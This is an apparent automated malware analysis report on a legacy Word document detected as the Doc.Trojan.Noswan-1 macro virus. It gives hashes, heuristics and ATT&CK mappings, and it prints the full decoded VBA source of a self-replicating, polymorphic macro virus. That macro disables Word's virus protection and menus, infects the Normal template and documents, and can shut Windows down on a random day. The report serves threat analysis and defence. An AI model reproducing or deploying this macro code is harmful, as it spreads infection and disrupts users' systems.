Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0be026a7bc70b814…

MALICIOUS

Office (OLE)

34.0 KB Created: 1999-05-24 16:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7e5629a2aa83fb591266b16f004f1063 SHA-1: 54e79a3cb8cdd7ddb1f34d639f36f84b8380efc1 SHA-256: 0be026a7bc70b81473fcebd2ecc5b06ffa247881103795b605c1c5d8edb70590
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious documents. The macro attempts to disable security features and obfuscate its code, indicating an intent to evade detection and potentially download further malicious content. The presence of a legacy WordBasic AutoOpen marker also suggests older malicious techniques are in use.

Heuristics 4

  • ClamAV: Doc.Trojan.Noswan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Noswan-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2219 bytes
SHA-256: c6d0abcfa6dd6e85b708e9030c55d6afd39698d3aae7ec4c13b127f42999c67a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    ' =================================================
    '  LineZerØ Vx Team & Jack Twoflower präsentieren:
    '
    '     Class97M.Spawn
    ' =================================================
    
Sub Document_Open()
On Error Resume Next

Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.EnableCancelKey = wdCancelDisabled

CommandBars("View").Controls("Symbolleisten").Enabled = False
CommandBars("Format").Controls("Formatvorlage...").Enabled = False
CommandBars("Tools").Controls("Makro").Enabled = False
CommandBars("Tools").Controls("Vorlagen und Add-Ins...").Enabled = False
CommandBars("Tools").Controls("Anpassen...").Enabled = False

Set Normal_ = NormalTemplate.VBProject.VBComponents.Item(1)
Set Active_ = ActiveDocument.VBProject.VBComponents.Item(1)

ActiveLines = Active_.CodeModule.CountOfLines
NormalLines = Normal_.CodeModule.CountOfLines

PolySize = Int(Rnd * 5)

For PolyMorphic = 1 To PolySize

    PolyString = ""
    PolyLines = Application.VBE.ActiveVBProject.VBComponents.Item(1).CodeModule.CountOfLines

    RndLine = Int(Rnd * PolyLines)
    StringSize = Int(Rnd * 39) + 1

    For SomeString = 1 To StringSize
        PolyString = PolyString & Chr(65 + Int(Rnd * 22)) & Chr(122 - Int(Rnd * 22))
    Next SomeString
    
    Application.VBE.ActiveVBProject.VBComponents.Item(1).CodeModule.InsertLines RndLine, "Rem " & PolyString

Next PolyMorphic

If NormalLines <> 0 Then NormalIns = True
If ActiveLines <> 0 Then ActiveIns = True

If NormalIns <> True Then
    Normal_.CodeModule.AddFromString _
    ("Sub Document_Close()" & vbCr & Active_.CodeModule.Lines(2, ActiveLines))
End If

If ActiveIns <> True Then
    Active_.CodeModule.AddFromString _
    ("Sub Document_Open()" & vbCr & Normal_.CodeModule.Lines(2, NormalLines))
    ActiveDocument.SaveAs ActiveDocument.FullName
End If
If Day(Now()) = Int(Rnd * 31) + 1 Then Tasks.ExitWindows
End Sub